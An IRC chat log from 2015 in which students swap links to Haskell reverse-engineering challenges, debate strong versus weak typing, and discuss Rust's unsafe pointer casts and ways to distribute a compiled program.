[2015-03-04T20:16:56-0500] <JacobEdelman_> I've learned a lot from you
[2015-03-04T20:23:04-0500] <Hyper> oh snap!
[2015-03-04T20:24:16-0500] <+awe> That's not really a burn. It's totally true. People get convinced by talking loudly.
[2015-03-04T21:09:56-0500] <hardmath123> THAT'S NOT TRUE AND YOU KNOW IT.
[2015-03-04T21:16:16-0500] <+awe> hardmath123: I think you might be right.
[2015-03-04T21:16:22-0500] <+awe> ;)
[2015-03-04T21:19:09-0500] <+awe> hardmath123: hamelin is as closed to being on the new IO libraries as it possibly can be right now.
[2015-03-04T21:19:41-0500] <+awe> std::io is in use everywhere except within the backend where I still need to use std::old_io::process because the new std::process is super conservative and doesn't support exposing file descriptors to me.
[2015-03-04T21:20:11-0500] <hardmath123> That means nothing to me, but congratulations, I guess? :)
[2015-03-04T21:20:20-0500] • hardmath123: isn't a rusty.
[2015-03-04T21:26:49-0500] <+awe> It means that it builds again. :p
[2015-03-04T21:28:06-0500] <grantwu> err well that was 6 hours but yeahhhh
[2015-03-04T21:28:58-0500] <hardmath123> :D
[2015-03-04T21:32:07-0500] <JacobEdelman_> lol
[2015-03-04T21:47:00-0500] Mode is +nt
[2015-03-04T22:02:34-0500] <+awe> grantwu: what was six hours?
[2015-03-04T22:26:44-0500] <LittleBobbyTables> ur mom
[2015-03-04T22:28:14-0500] <LittleBobbyTables> awe: yeah, those. Can you repost them anywhere, or at least relink?
[2015-03-04T22:28:56-0500] <+awe> LittleBobbyTables: ?
[2015-03-04T22:29:16-0500] <LittleBobbyTables> source stuffs or something
[2015-03-04T22:29:29-0500] <+awe> What are you asking me to link you to?
[2015-03-04T22:29:51-0500] <LittleBobbyTables> Your lambda problems
[2015-03-04T22:29:59-0500] <+awe> OH.
[2015-03-04T22:30:02-0500] <+awe> Yeah, absolutely.
[2015-03-04T22:30:06-0500] <+awe> I forgot what you were talking about.
[2015-03-04T22:30:18-0500] <+awe> LittleBobbyTables: do you want binaries or the source or both?
[2015-03-04T22:30:32-0500] <LittleBobbyTables> Both would be nice, thanks
[2015-03-04T22:32:42-0500] <+awe> https://dl.dropboxusercontent.com/u/8097711/%CE%BB1.zip
[2015-03-04T22:32:45-0500] <+awe> https://dl.dropboxusercontent.com/u/8097711/%CE%BB2.zip
[2015-03-04T22:32:47-0500] <+awe> https://dl.dropboxusercontent.com/u/8097711/%CE%BB3.zip
[2015-03-04T22:32:55-0500] <+awe> Executables.
[2015-03-04T22:38:32-0500] <JacobEdelman_> Note
[2015-03-04T22:38:38-0500] <JacobEdelman_> They were impossible
[2015-03-04T22:38:51-0500] <JacobEdelman_> According to CMU PhD s
[2015-03-04T22:39:58-0500] <LittleBobbyTables> Yeah, that's why I'm putting them in.
[2015-03-04T22:41:58-0500] <+awe> JacobEdelman_: ???
[2015-03-04T22:41:59-0500] <+awe> JacobEdelman_: who said that?
[2015-03-04T22:42:25-0500] <+awe> I don't think reverse-engineering a Haskell program is actually impossible.
[2015-03-04T22:43:29-0500] <LittleBobbyTables> Are sources in there too, awe? I haven't downloaded yet, just saved the links.
[2015-03-04T22:43:30-0500] <+alokpathy> JacobEdelman_: mserrano told me it wasn't impossible
[2015-03-04T22:43:31-0500] <+alokpathy> it just was
[2015-03-04T22:43:34-0500] <+alokpathy> practically impossible
[2015-03-04T22:43:37-0500] <+awe> LittleBobbyTables: nope, gimmie a second.
[2015-03-04T22:43:44-0500] <+awe> alokpathy: that is probably true. :)
[2015-03-04T22:43:51-0500] <+awe> alokpathy: I was going for exactly that
[2015-03-04T22:44:06-0500] <+alokpathy> Congrats on your success :P
[2015-03-04T22:44:51-0500] <ubuntor> >_>
[2015-03-04T22:45:49-0500] <ubuntor> wait, i'm pretty sure a bkp problem had something like "at least this wasn't askhell" as a flag
[2015-03-04T22:46:03-0500] <+awe> https://dl.dropboxusercontent.com/u/8097711/%CE%BBsrc.zip
[2015-03-04T22:46:06-0500] <+awe> There's the source, guys.
[2015-03-04T22:46:43-0500] <+awe> g s n = zipWith (fmap chr . xor `on` ord) s $ show n
[2015-03-04T22:46:49-0500] <+awe> look at that sexy OTP code.
[2015-03-04T22:49:10-0500] <+awe> I don't remember.
[2015-03-04T22:49:23-0500] <+awe> Did anyone notice my joke in the keys for the lambda problems
[2015-03-04T22:51:09-0500] <+awe> Well, for lambda 2.
[2015-03-04T22:51:16-0500] <+awe> rho_omicron_phi_lambda
[2015-03-04T22:51:22-0500] <+awe> in other words, rofl. :D
[2015-03-04T22:53:11-0500] <+alokpathy> Wow
[2015-03-04T22:53:13-0500] <+alokpathy> LOL
[2015-03-04T22:53:50-0500] <micrictor> real question
[2015-03-04T22:54:01-0500] <micrictor> does anyone actually use haksell
[2015-03-04T22:54:10-0500] <micrictor> outside of the PhD community
[2015-03-04T22:54:31-0500] <+alokpathy> I remember reading about it being used in some places in the industry
[2015-03-04T22:54:34-0500] <+alokpathy> can't remember where
[2015-03-04T22:54:45-0500] <+awe> micrictor: Yes.
[2015-03-04T22:54:57-0500] <+awe> micrictor: There's a number of companies that are using it.
[2015-03-04T22:55:05-0500] <+awe> micrictor: It's especially useful in domains where correctness is prime.
[2015-03-04T22:55:34-0500] <+awe> So, there's some finance companies using it now, and some med tech companies using it too.
[2015-03-04T22:55:43-0500] <micrictor> as in, using large numbers, i assume
[2015-03-04T22:55:54-0500] <+awe> ?
[2015-03-04T22:56:14-0500] <+awe> No, I mean in circumstances where it's not okay for things to crash.
[2015-03-04T22:56:27-0500] <micrictor> "correctness is prime" =  "they need to use large numbers without losing precision"
[2015-03-04T22:56:33-0500] <+awe> No, no, no.
[2015-03-04T22:56:39-0500] <micrictor> does haskell not crash often or something
[2015-03-04T22:56:40-0500] <+awe> I mean that they need their programs to do the correct thing always.
[2015-03-04T22:57:19-0500] <+awe> Haskell's type system ensures that your code does what you want it to.
[2015-03-04T22:57:34-0500] <+awe> Which means that things don't crash.
[2015-03-04T22:57:57-0500] <+awe> There's a few HFT firms that use it. There's some defense contractors.
[2015-03-04T22:58:02-0500] <+awe> Investment banks.
[2015-03-04T22:58:41-0500] <micrictor> because it's so strongly typed?
[2015-03-04T22:58:43-0500] <+awe> Yeah.
[2015-03-04T22:58:48-0500] <grantwu> lol no the type system does not guarantee you are free of errors
[2015-03-04T22:58:57-0500] <bob_twinkles> it does help though
[2015-03-04T22:58:58-0500] <micrictor> I get what awe is saying though
[2015-03-04T22:58:59-0500] <Tamini> whoa, how long has micrictor been here? :O
[2015-03-04T22:58:59-0500] <bob_twinkles> if you let it
[2015-03-04T22:59:08-0500] <micrictor> first time in
[2015-03-04T22:59:13-0500] <grantwu> yes it is very usefull
[2015-03-04T22:59:26-0500] <Tamini> hey mike, hope you stay :D
[2015-03-04T22:59:32-0500] <micrictor> I think adunna mentioned it passively when we talked
[2015-03-04T22:59:37-0500] <Tamini> heh
[2015-03-04T22:59:37-0500] <+awe> grantwu: [[a]] -> [a]
[2015-03-04T22:59:42-0500] <Tamini> adunna isnt even on that much
[2015-03-04T22:59:49-0500] <+awe> grantwu: there's only one definition for this function.
[2015-03-04T23:00:08-0500] <grantwu> well... yes?
[2015-03-04T23:00:11-0500] <micrictor> protip, don't mix ammonia and bleach
[2015-03-04T23:00:17-0500] <micrictor> shit burns worse than CS spray
[2015-03-04T23:00:18-0500] <+awe> That enforces a sense of correctness.
[2015-03-04T23:00:50-0500] <+awe> It doesn't mean you won't ever have mistakes, but it makes it really hard to make mistakes.
[2015-03-04T23:00:50-0500] <grantwu> um... well suppose you want a function to add together two integers
[2015-03-04T23:00:58-0500] <grantwu> instead it always returns 42
[2015-03-04T23:01:05-0500] <grantwu> typechecks!
[2015-03-04T23:01:13-0500] <+awe> add _ _ = 42
[2015-03-04T23:01:13-0500] <+awe> lol
[2015-03-04T23:01:15-0500] <Tamini> micrictor: no shit, what did you do?
[2015-03-04T23:01:19-0500] <+awe> Sure, but that's very obviously wrong.
[2015-03-04T23:01:20-0500] <bob_twinkles> the type system won't save you from stupid
[2015-03-04T23:01:39-0500] <micrictor> Tamini "I can't remember if I started cleaning the sink already, fukkit"
[2015-03-04T23:01:43-0500] <+awe> The type system will save you from mistakes that you made accidentally.
[2015-03-04T23:01:46-0500] <micrictor> I had a 50/50 shot
[2015-03-04T23:01:47-0500] <micrictor> I lost
[2015-03-04T23:01:50-0500] <grantwu> yah
[2015-03-04T23:01:59-0500] <+awe> It will save you from mistakes that might appear to look correct at first glance, but are not.
[2015-03-04T23:02:09-0500] <micrictor> Typing protects you from not knowing what the compiler does behind your back
[2015-03-04T23:02:11-0500] <Tamini> :(
[2015-03-04T23:02:18-0500] <+awe> micrictor: ?
[2015-03-04T23:02:22-0500] <+awe> micrictor: I'm not sure what you mean.
[2015-03-04T23:02:25-0500] <grantwu> actually, all my bugs in SML have been subtle :(
[2015-03-04T23:02:27-0500] <+awe> micrictor: Haskell does a lot of things behind your back.
[2015-03-04T23:02:42-0500] <micrictor> yeh but you know that your integer function is returning an actual integer
[2015-03-04T23:02:46-0500] <+awe> grantwu: oyah?
[2015-03-04T23:02:52-0500] <grantwu> to be fair, there have only been like... 2.  in a semester
[2015-03-04T23:02:56-0500] <micrictor> in C you can do something wrong and end up returning a pointer to an object
[2015-03-04T23:03:00-0500] <micrictor> still technically an int
[2015-03-04T23:03:00-0500] <+awe> grantwu: Ah, okay.
[2015-03-04T23:03:13-0500] <micrictor> but shouldn't be interp'd as one
[2015-03-04T23:03:40-0500] <+awe> grantwu: I've only ever written one thing in Haskell that typechecked, seemed correct, and wasn't what I wanted.
[2015-03-04T23:03:53-0500] <+awe> micrictor: it's worse when you've got Python's duck typing.
[2015-03-04T23:04:05-0500] <micrictor> well yes
[2015-03-04T23:04:07-0500] <grantwu> i'm not saying they aren't useful just that you can't replace thinking
[2015-03-04T23:04:12-0500] <micrictor> soft typing is great for some things
[2015-03-04T23:04:17-0500] <micrictor> and terrible for others
[2015-03-04T23:04:34-0500] <ubuntor> oh, hey
[2015-03-04T23:04:37-0500] <bob_twinkles> like what? typing is always awesome =P
[2015-03-04T23:04:39-0500] <+awe> ^
[2015-03-04T23:04:53-0500] <grantwu> bitpacking :P
[2015-03-04T23:05:07-0500] <+awe> Weak typing is good for a single thing: writing a program that is not completely correct.
[2015-03-04T23:05:25-0500] <grantwu> implementing garbage collection using the upper 12 bits of pointers on x86-64!
[2015-03-04T23:05:27-0500] <bob_twinkles> grantwu: 10 bucks says there's a compiler extension for that =D
[2015-03-04T23:05:28-0500] <Hyper> awe: that's incredibly reductionist, and also wrong
[2015-03-04T23:05:45-0500] <+awe> Hyper: how is it wrong?
[2015-03-04T23:06:11-0500] <+awe> micrictor: Facebook uses Haskell a lot because PHP is buns.
[2015-03-04T23:06:13-0500] <bob_twinkles> though yeah, there situations where a strict type system can prevent you from doing "stupid pen tricks" that you need
[2015-03-04T23:06:45-0500] <Hyper> weak typing allows an amount of flexibility that stronger typing doesn't necessarily allow. It also allows more flexible data structures (see objects in JS)
[2015-03-04T23:07:04-0500] <bob_twinkles> Hyper: haskell's typeclasses are just as powerful
[2015-03-04T23:07:07-0500] <Hyper> I'm not saying it's the best thing ever, but your argument is incredibly naive
[2015-03-04T23:07:39-0500] <micrictor> weak typing also highly increases speed of programming if high precision/high reliability aren't priorities
[2015-03-04T23:07:47-0500] <+awe> micrictor: That's not true.
[2015-03-04T23:07:59-0500] <+awe> People say that a lot, but there's no evidence of it.
[2015-03-04T23:08:04-0500] <+awe> There's evidence to the contrary.
[2015-03-04T23:08:29-0500] <micrictor> how so? because I don't have to worry about typing variables, I can write a python script to automate a bunch of exploits against a binary in very little time
[2015-03-04T23:08:42-0500] <micrictor> awe I'm sure that's true for actual production software
[2015-03-04T23:08:49-0500] <bob_twinkles> I know I spend a solid 5-10% of my time writing python fixing things that even a basic type system would have caught
[2015-03-04T23:08:51-0500] <+awe> For example, Ericsson found that programs are more-or-less equally productive in terms of lines of code per hour regardless of language.
[2015-03-04T23:08:53-0500] <micrictor> because then you have to take even more time to make sure you aren't getting ducked
[2015-03-04T23:09:05-0500] <bob_twinkles> bytes versus strings, when I need a file-like object
[2015-03-04T23:09:13-0500] <micrictor> python3...
[2015-03-04T23:09:15-0500] <bob_twinkles> numpy arrays versus normal python lists...
[2015-03-04T23:09:24-0500] <+awe> You might technically write something faster.
[2015-03-04T23:09:27-0500] <+awe> But then you have to fix it.
[2015-03-04T23:09:40-0500] <Hyper> additionally weak typing can offer nice tools in terms of duck-typing
[2015-03-04T23:09:47-0500] <grantwu> fml
[2015-03-04T23:09:51-0500] <grantwu> why did i bother
[2015-03-04T23:09:59-0500] <+awe> And all the data I've ever seen about the topic indicate that there's nothing faster about writing a dynamic or weakly typed language.
[2015-03-04T23:10:12-0500] <micrictor> numpy arrays not being interchangable, isn't that intentionally done by numpy?
[2015-03-04T23:10:16-0500] <+awe> It's just something that weak typing fans like to bring up.
[2015-03-04T23:10:20-0500] <bob_twinkles> Hyper: duck-typing do nothing I can't do within typeclasses
[2015-03-04T23:10:36-0500] <+awe> Hyper: I don't understand what you mean by more flexible data structures.
[2015-03-04T23:10:40-0500] <bob_twinkles> micrictor: maybe, but it's annoying as hell
[2015-03-04T23:10:53-0500] <micrictor> I wonder
[2015-03-04T23:10:58-0500] <micrictor> is asm strong or weak
[2015-03-04T23:11:06-0500] <micrictor> because technically no types are assigned
[2015-03-04T23:11:09-0500] <bob_twinkles> I mean, numpy internally enforces it's own type checking
[2015-03-04T23:11:14-0500] <micrictor> but also everything is definitely an int
[2015-03-04T23:11:18-0500] <Hyper> bob_twinkles: typeclasses have a lot of syntax associated with them :< (tbf there's a rounding error with the amount of experience I have in haskell)
[2015-03-04T23:11:22-0500] <bob_twinkles> just b/c of the amount of FFI it does
[2015-03-04T23:11:45-0500] <+awe> micrictor: asm isn't really typed.
[2015-03-04T23:11:48-0500] <Hyper> asm is untyped
[2015-03-04T23:11:53-0500] <bob_twinkles> Hyper: those 5 lines of code are almost guaranteed to save me at least 5 minutes down the road when I get a compiler error instead of a runtime exception
[2015-03-04T23:12:01-0500] <+awe> micrictor: things just have sizes.
[2015-03-04T23:12:17-0500] <bob_twinkles> I'd rather pay the cost up front where I can reuse it instead of paying for it repeatedly when I inventably screw it up
[2015-03-04T23:12:23-0500] <+awe> There are some typed assemblers though.
[2015-03-04T23:12:24-0500] <+awe> I think.
[2015-03-04T23:12:31-0500] <micrictor> hlasm comes to mind
[2015-03-04T23:12:32-0500] <Hyper> LLVM's IR is typed
[2015-03-04T23:12:33-0500] <micrictor> if that counts
[2015-03-04T23:12:52-0500] <+awe> Yeah, IR is typed.
[2015-03-04T23:12:58-0500] <+awe> http://www.cs.cornell.edu/talc/
[2015-03-04T23:12:59-0500] <+awe> Or this.
[2015-03-04T23:13:02-0500] <micrictor> MSIL is, topkek
[2015-03-04T23:13:36-0500] <+awe> Hyper: I still don't know what you mean by more flexible data structures.
[2015-03-04T23:13:42-0500] <+awe> Hyper: Unless your definition of more flexible means less organized.
[2015-03-04T23:13:49-0500] <Hyper> it does :D
[2015-03-04T23:13:53-0500] <+awe> That's...
[2015-03-04T23:13:55-0500] <+awe> nonsensical.
[2015-03-04T23:14:03-0500] <Hyper> why?
[2015-03-04T23:14:24-0500] <+awe> Because unorganized data is error-prone.
[2015-03-04T23:14:31-0500] <Hyper> I don't disagree.
[2015-03-04T23:14:32-0500] <micrictor> But definitely more flexible
[2015-03-04T23:14:39-0500] <Hyper> I agree.
[2015-03-04T23:14:45-0500] <grantwu> All I wanted to say is "Type systems don't magically make your code bug-free."
[2015-03-04T23:14:46-0500] <micrictor> by definition, if something has no structure, it's highly flexible
[2015-03-04T23:14:50-0500] <+awe> Which goes back to this: "Weak typing is good for a single thing: writing a program that is not completely correct."
[2015-03-04T23:15:03-0500] <micrictor> grantwu this is why we can't have nice things
[2015-03-04T23:15:16-0500] <Hyper> discussion is good.
[2015-03-04T23:15:22-0500] <bob_twinkles> of course they don't, but strong type systems eliminate a class of bugs I hate tracking down
[2015-03-04T23:15:24-0500] <Hyper> discussion >>>>> no discussion
[2015-03-04T23:15:30-0500] <+awe> bob_twinkles: several classes of bugs.
[2015-03-04T23:15:42-0500] <bob_twinkles> yah
[2015-03-04T23:15:44-0500] <+awe> Rust puts object lifetimes into the type system, too.
[2015-03-04T23:15:47-0500] <+awe> So, that's ANOTHER class of bugs.
[2015-03-04T23:16:23-0500] <micrictor> I'll stick with ASM/C for most things and python when I'm being lazy and don't want to include infrastructure
[2015-03-04T23:16:37-0500] <+awe> grantwu: They don't magically make your code bug-free, but they make it really, really hard to write the wrong code. :)
[2015-03-04T23:16:49-0500] <Hyper> awe: I think that's also false
[2015-03-04T23:16:52-0500] <Hyper> they make it "harder"
[2015-03-04T23:16:57-0500] <Hyper> for some definition of harder
[2015-03-04T23:17:01-0500] <micrictor> And yes, I do need ASM for most of what I do, I'm not just a masochist
[2015-03-04T23:17:03-0500] <Hyper> but it's REALLY easy to write wrong code
[2015-03-04T23:17:21-0500] <+awe> Okay, fine, let me qualify that a bit: they make it really hard to write wrong code that looks right.
[2015-03-04T23:17:27-0500] <micrictor> They make it harder to write code that outwardly seems good
[2015-03-04T23:17:33-0500] <bob_twinkles> it shifts the type of wrong code you can write
[2015-03-04T23:17:37-0500] <micrictor> except for not really
[2015-03-04T23:17:46-0500] <micrictor> a lot of errors in C are really hard to spot
[2015-03-04T23:17:51-0500] <+awe> micrictor: you should try Rust.
[2015-03-04T23:17:54-0500] <bob_twinkles> C doesn't have a strong type system
[2015-03-04T23:17:59-0500] <micrictor> it doesn't?
[2015-03-04T23:18:03-0500] <+awe> C has a weak type system.
[2015-03-04T23:18:12-0500] <Hyper> micrictor: cast to void*, cast to anything else, taadaa
[2015-03-04T23:18:13-0500] <bob_twinkles> no, it really doesn't =P
[2015-03-04T23:18:22-0500] <+awe> Tons of implicit casting, the ability to do explicit casts without actual conversion, etc.
[2015-03-04T23:18:36-0500] <+awe> The fact that unions exist.
[2015-03-04T23:18:37-0500] <+awe> lol
[2015-03-04T23:18:39-0500] <grantwu> C has a static, weak type sysem
[2015-03-04T23:18:40-0500] <micrictor> I forgot that you can totally cast anything to anything else
[2015-03-04T23:18:52-0500] <+awe> unions on there own make it a weak type system.
[2015-03-04T23:19:04-0500] <Hyper> I always love to point to fastinvsqrt when people are curious about how weak C's typing is
[2015-03-04T23:19:35-0500] <micrictor> That is uh
[2015-03-04T23:19:37-0500] <micrictor> ugly
[2015-03-04T23:19:38-0500] <+awe> micrictor: But seriously, if you like C and are curious about what a strong type system might do for you, I would recommend trying Rust.
[2015-03-04T23:20:01-0500] <micrictor> does it allow low-level memory access?
[2015-03-04T23:20:04-0500] <Hyper> on the other hand, if you want a language that makes you happy to be alive, try D :D
[2015-03-04T23:20:25-0500] <bob_twinkles> if you want a language that makes you feel smart, try haskell =P
[2015-03-04T23:21:16-0500] <micrictor> All the haskell I know is from Coursera's "Functional Programming"
[2015-03-04T23:21:17-0500] <+awe> micrictor: Yes.
[2015-03-04T23:21:24-0500] <+awe> micrictor: Rust is a systems language.
[2015-03-04T23:22:00-0500] <micrictor> mmm
[2015-03-04T23:22:07-0500] <micrictor> it doesn't appear to in the way I meant
[2015-03-04T23:22:15-0500] <micrictor> most of what I do is recreational game hacking
[2015-03-04T23:22:19-0500] <+awe> Rust can do literally everything that C does.
[2015-03-04T23:22:36-0500] <+awe> You can make C-style pointers if you're so inclined.
[2015-03-04T23:23:23-0500] <bob_twinkles> that's one place where a strong type system isn't going to help you
[2015-03-04T23:23:28-0500] <micrictor> I can't find any way to make a pointer point to a specific address?
[2015-03-04T23:23:31-0500] <bob_twinkles> since you probably won't have any types =P
[2015-03-04T23:23:49-0500] <+awe> micrictor: if you're just looking at the website, they're not going to talk much about it since the whole point of the language is to add memory safety.
[2015-03-04T23:24:58-0500] <micrictor> I can't find it anywhere
[2015-03-04T23:24:59-0500] <+awe> micrictor: but if you actually need to do unsafe stuff, you can.
[2015-03-04T23:25:12-0500] <micrictor> what I need is like
[2015-03-04T23:25:33-0500] <micrictor> function_type function = ( function_type ) 0xdeadbeef
[2015-03-04T23:25:43-0500] <+awe> let ptr: *mut T = transmute(0xDEADBEEF);
[2015-03-04T23:26:05-0500] <micrictor> and then I can call ptr?
[2015-03-04T23:26:24-0500] <+awe> Well, ptr is a C-style pointer there.
[2015-03-04T23:27:08-0500] <micrictor> so, in game hacking, to first order, you're scanning memory for a function, then saving the function into a variable so you can call it later.
[2015-03-04T23:27:36-0500] <micrictor> Is there a way to call an unsafe pointer in some fashion by having it be a function type?
[2015-03-04T23:27:49-0500] <+awe> Yeah, transmute can transmute it to a function type.
[2015-03-04T23:28:02-0500] <+awe> let ptr: fn(u64) -> u64 = transmute(0xDEADBEEF);
[2015-03-04T23:28:05-0500] <+awe> well
[2015-03-04T23:28:09-0500] <+awe> I lied a bit.
[2015-03-04T23:28:15-0500] <+awe> let ptr: fn(u64) -> u64 = unsafe { transmute(0xDEADBEEF) };
[2015-03-04T23:29:44-0500] <grantwu> ...meanwhile I'm going to go finish up my C program, which I am using for reasons completely unrelated to anything mentioned here
[2015-03-04T23:30:31-0500] <micrictor> oic
[2015-03-04T23:30:59-0500] <+awe> You'd want to specify the calling convention though so that it knows that it's not a rust function
[2015-03-04T23:31:00-0500] <+awe> but yeah.
[2015-03-04T23:31:58-0500] <+awe> micrictor: basically, you'd get memory safety everywhere except when you absolutely need to do something unsafe (like that) and then you'd be able to audit really easily by knowing that when shit breaks, it's likely in the unsafe parts.
[2015-03-04T23:32:00-0500] <micrictor> let the variable "ptr", which is a function with a 64-bit unsigned int parameter that returns an unsigned 64 bit int, equal the address 0xdeadbeef, transmuted into a function
[2015-03-04T23:32:11-0500] <micrictor> hm
[2015-03-04T23:32:20-0500] <+awe> The reason why I put the type annotation there is because transmute is generic.
[2015-03-04T23:32:22-0500] <micrictor> calling conventions are a pretty big deal though
[2015-03-04T23:32:29-0500] <+awe> Oh, yeah. I know. But you can just write it.
[2015-03-04T23:32:38-0500] <+awe> I don't know the syntax exactly, I'm asking someone who does more unsafe stuff than I do.
[2015-03-04T23:32:43-0500] <+awe> I think it's like
[2015-03-04T23:32:54-0500] <+awe> 	let ptr: extern "C" fn(u64) -> u64 = unsafe { transmute(0xDEADBEEF) };
[2015-03-04T23:32:54-0500] <+awe> yeah.
[2015-03-04T23:33:02-0500] <+awe> for rust functions, it's extern "stdcall"
[2015-03-04T23:33:38-0500] <micrictor> most games actually use stdcall or whateverthefuck virtual calls are called
[2015-03-04T23:33:46-0500] <micrictor> but I would probably just do what I do now in C
[2015-03-04T23:33:53-0500] <+awe> Well, you can do extern "stdcall" too.
[2015-03-04T23:33:54-0500] <micrictor> and handle the difference in assembly
[2015-03-04T23:34:03-0500] <+awe> You can do it either way.
[2015-03-04T23:34:21-0500] <+awe> You'd probably want the function itself to propagate the unsafe marker though
[2015-03-04T23:34:35-0500] <+awe> let ptr: unsafe extern "C" fn(u64) -> u64 = unsafe { transmute(0xDEADBEEF) };
[2015-03-04T23:34:50-0500] <+awe> which means ptr can only be called within unsafe blocks.
[2015-03-04T23:35:33-0500] <micrictor> advantages of doing that?
[2015-03-04T23:36:11-0500] <grantwu> I suppose that you can actually use the type system elsewhere.
[2015-03-04T23:36:42-0500] <grantwu> Rust is cool, even has inline assembly, shame I can't use it.
[2015-03-04T23:36:52-0500] <grantwu> (For what I'm doing)
[2015-03-04T23:37:12-0500] <+awe> micrictor: same reason the language enforces unsafe to begin with
[2015-03-04T23:37:17-0500] <+awe> micrictor: so that all unsafe code is contained.
[2015-03-04T23:37:31-0500] <micrictor> why waterudooin
[2015-03-04T23:37:55-0500] <grantwu> Er... it's simple and shtoopid, writing something that will calculate SHA512 of a string
[2015-03-04T23:37:56-0500] <+awe> bob_twinkles: have you tried Rust yet?
[2015-03-04T23:38:02-0500] <grantwu> Using OpenSSL
[2015-03-04T23:38:07-0500] <+awe> grantwu: you can do that in Rust.
[2015-03-04T23:38:12-0500] <bob_twinkles> nope, haven't really had a chance
[2015-03-04T23:38:12-0500] <+awe> grantwu: I do that all the time.
[2015-03-04T23:38:21-0500] <+awe> well, in two projects of mine.
[2015-03-04T23:38:22-0500] <grantwu> Yeah well, it needs to build on about 200 machines, none of which have the rust compiler.
[2015-03-04T23:38:28-0500] <+awe> Unfortunate.
[2015-03-04T23:38:48-0500] <+awe> bob_twinkles: you really should. I think you'll really appreciate lifetimes in the type system.
[2015-03-04T23:38:50-0500] <grantwu> I suppose I could distribute binaries...
[2015-03-04T23:39:19-0500] <micrictor> write in rust
[2015-03-04T23:39:26-0500] <+awe> grantwu: https://github.com/aatxe/irc-services/blob/master/src/data/mod.rs#L14
[2015-03-04T23:39:48-0500] <+awe> grantwu: note: this hasn't been updated for new io, so it'd look ever-so-slightly different.
[2015-03-04T23:39:58-0500] <grantwu> I don't need an example to know it's doable lol
[2015-03-04T23:40:01-0500] <+awe> I know.
[2015-03-04T23:40:08-0500] <grantwu> It's purely for buildability on machines that I don't have root privileges on
[2015-03-04T23:40:08-0500] <+awe> I just wanted to show you that it's ez pz.
[2015-03-04T23:40:24-0500] <grantwu> I don't really feel like builing the rust compiler from source
[2015-03-04T23:40:39-0500] <micrictor> disassemble the compiled biiinury
[2015-03-04T23:40:47-0500] <micrictor> distribute the assembly
[2015-03-04T23:40:49-0500] <micrictor> assemble
[2015-03-04T23:40:57-0500] <bob_twinkles> brilliant
[2015-03-04T23:41:05-0500] <bob_twinkles> I see no possible problems
[2015-03-04T23:41:06-0500] <grantwu> lulz
[2015-03-04T23:41:15-0500] <micrictor> sure, the assembly will be roughly 5x larger than the binary itself
[2015-03-04T23:41:17-0500] <micrictor> but hey
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[2015-03-04T23:43:36-0500] <+awe> grantwu: why would you do that?
[2015-03-04T23:43:40-0500] <+awe> grantwu: you can download the nightly
[2015-03-04T23:44:00-0500] <+awe> better solution than micrctor's
[2015-03-04T23:44:05-0500] <+awe> emit llvm IR
[2015-03-04T23:44:09-0500] <+awe> compile LLVM IR on machine
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[2015-03-04T23:48:18-0500] <grantwu> uh
[2015-03-04T23:48:21-0500] <grantwu> no LLVM installed either
[2015-03-04T23:48:29-0500] <+awe> grantwu: lame
[2015-03-04T23:48:36-0500] <grantwu> Uh I guess I could download binaries...
[2015-03-04T23:48:38-0500] <+awe> micrictor: while you were gone, I suggested emitting LLVM IR and then distributing that.
[2015-03-04T23:49:40-0500] <bob_twinkles> base64encode the binary and dump that as a string constant in a C program
[2015-03-04T23:49:50-0500] <bob_twinkles> which then decodes it into an executable and shells out to it
[2015-03-04T23:49:52-0500] <+awe> lol
[2015-03-04T23:50:00-0500] <+awe> brilliant.
[2015-03-04T23:50:27-0500] <bob_twinkles> like a self-extracting zip but with less compression
[2015-03-04T23:50:42-0500] <nezorg> significantly less
[2015-03-04T23:50:56-0500] <bob_twinkles> hmm
[2015-03-04T23:51:03-0500] <bob_twinkles> you could compress it I suppose
[2015-03-04T23:51:22-0500] <bob_twinkles> link against zlib 
[2015-03-04T23:55:55-0500] <+awe> Yeah.
[2015-03-05T00:15:10-0500] <micrictor> encode the binary as slashes
[2015-03-05T00:18:29-0500] <Hyper> JacobEdelman_: Welp I guess you win
[2015-03-05T00:19:38-0500] <+awe> JacobEdelman_: congratulations, alienating all the competition was a success!
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[2015-03-05T00:47:55-0500] <+awe> So, I got the #1 score on my systems midterm.
[2015-03-05T00:48:09-0500] <+awe> And I'm the #1 on projects too with 100% overall on projects.
[2015-03-05T00:48:22-0500] <nezorg> lol
[2015-03-05T00:48:29-0500] <grantwu> k
[2015-03-05T00:48:35-0500] <nezorg> what are the projects?
[2015-03-05T00:48:41-0500] <+awe> They're ez pz stuff.
[2015-03-05T00:48:53-0500] <+awe> I'm literally hte 1st in every category except the moodle quizzes
[2015-03-05T00:48:59-0500] <+awe> Where I'm 45th because they're some grade-A bullshit
[2015-03-05T00:49:02-0500] <+awe> and everyone cheats.
[2015-03-05T00:49:08-0500] <nezorg> :P
[2015-03-05T00:49:17-0500] <grantwu> awe I decided to say "fuck it" and write in Rust
[2015-03-05T00:49:19-0500] <+awe> (they do them in large groups and when someone gets the answer wrong, they tell everyone the correct answer, so most of them get 100%)
[2015-03-05T00:49:22-0500] <+awe> grantwu: I'm proud.
[2015-03-05T00:49:36-0500] <+awe> I better get #1 overall in this class at the end though.
[2015-03-05T00:49:40-0500] <+awe> I'm #4 right now.
[2015-03-05T00:49:41-0500] <grantwu> This will probably cause implications later with how the password changing script will be architected but
[2015-03-05T00:49:43-0500] <grantwu> yoloo
[2015-03-05T00:51:25-0500] <+awe> nezorg: http://www-edlab.cs.umass.edu/cs230/assignments/
[2015-03-05T00:51:39-0500] <+awe> nezorg: note that assignment 4 was so difficult he had to extend the deadline. ;)
[2015-03-05T00:51:48-0500] <+awe> nezorg: it was just implementing a linked list in C.
[2015-03-05T00:51:58-0500] <+awe> well, a set using a linked list.
[2015-03-05T00:52:31-0500] <nezorg> ... wow, huffman coding, so hard
[2015-03-05T00:52:39-0500] <+awe> Lol, that's the new one.
[2015-03-05T00:52:46-0500] <+awe> Assignment 4 was funny
[2015-03-05T00:52:50-0500] <+awe> People were flipping out all week
[2015-03-05T00:52:54-0500] <+awe> I woke up an hour early the day of
[2015-03-05T00:52:59-0500] <+awe> Did it before I went for class
[2015-03-05T00:53:02-0500] <+awe> And that was that.
[2015-03-05T00:53:26-0500] <nezorg> :P
[2015-03-05T00:53:48-0500] <nezorg> keep in mind we've been writing C for years
[2015-03-05T00:54:02-0500] <nezorg> presumably your peers haven't
[2015-03-05T00:54:07-0500] <grantwu> Uh nezorg can you help me for a moment...
[2015-03-05T00:54:14-0500] <+awe> nezorg: I've only ever written one thing in C. :)
[2015-03-05T00:54:16-0500] <grantwu> When I use strncpy
